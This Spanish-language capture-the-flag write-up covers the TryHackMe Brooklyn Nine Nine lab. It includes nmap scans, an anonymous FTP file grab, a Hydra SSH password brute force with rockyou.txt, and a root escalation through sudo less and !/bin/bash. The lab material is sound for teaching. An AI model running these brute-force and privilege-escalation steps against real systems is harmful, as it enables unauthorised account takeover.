Brooklyn Nine Nine


December 17, 20224 minutes

https://tryhackme.com/room/brooklynninenine

IP Atacante = 10.10.10.10

IP víctima = 10.10.243.15

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

❯ ping -c 1 10.10.243.15
PING 10.10.243.15 (10.10.243.15) 56(84) bytes of data.
64 bytes from 10.10.243.15: icmp_seq=1 ttl=63 time=96.3 ms

--- 10.10.243.15 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 96.338/96.338/96.338/0.000 ms

En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación

Escaneo de puertos (nmap)

Ahora empezamos con un escaneo de puertos

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.243.15 -oG allPort
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
–min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.100.94
   5   │     [*] Open ports: 21,22,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴─────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos

❯ nmap -p21,22,80 -sC -sV 10.10.243.15 -oN target

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.10.10
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 167fa2ffe0fba98777d6d3eb62572c6a3 (RSA)
|   256 2e3b61594bc429ba5e858396f6fe99bee (ECDSA)
|_  256 ab162e79203c9b0a019c8c4426015a804 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
ParámetroFunción
-pEspecificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

Puerto 21

El nmap reporto que nos podemos conectar al puerto 21 como anonymous (ftp-anon: Anonymous FTP login allowed)

Dentro hay un archivo llamado note_to_jake.txt que nos lo podemos pasar a nuestra máquina con get note_to_jake.txt

Contenido note_to_jake.txt

Dentro del archivo note_to_jake.txt hay el siguiente mensaje


From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine


De Amy,

Jake por favor cambia tu contraseña. Es demasiado débil y Holt se enojará si alguien piratea el nueve nueve.


Viendo este mensaje vemos que hay tres usuarios:

  • Amy
  • Holt
  • Jake

Infiltración

Amy dice que la contraseña de Jake es demasiado débil, sabiendo esto podemos intentar con hyra hacer fuerza bruta al ssh como jake.

Hydra se considera el software para ciberseguridad estándar para ejecutar ataques de fuerza bruta en cuentas de servicios.

❯ hydra -l jake -P /usr/share/wordlists/rockyou.txt 10.10.92.221 ssh -t 40

[22][ssh] host: 10.10.84.47   login: jake   password: ---------

Ahora ya nos podemos conectar por ssh como jake

ssh jake@10.10.84.47

Tratamiento de tty

Antes para trabajar mejor vamos a hacer un tratamiento de la terminal con los siguientes comandos:

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm

user.txt

En el directorio /home/jake y /home/amy no hay nada, pero en el /home/holt está el user.txt

Escalada de privilegios

❯ sudo -l

User jake may run the following commands on brookly_nine_nine:
    (ALL) NOPASSWD: /usr/bin/less

¿Qué es less?

Less es un programa similar a more, pero que permite retroceder movimiento en el archivo, asi como el movimiento hacia adelante. además, menos no tiene que leer todo el archivo de entrada antes de comenzar, por lo que con archivos de entrada grandes, se inicia más rápido que los editores de texto como vi

¿Como escalar con less?

Si el binario puede ejecutarse como superusuario sudo, no pierde los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener el acceso privilegiado.

Lo primero es ejecutar less con sudo y especificarle un archivo que queremos leer, por ejemplo user.txt

sudo less user.txt

Después si escribimos !/bin/bash y le damos a enter, ya somos root

root@brookly_nine_nine:/home/holt# whoami
root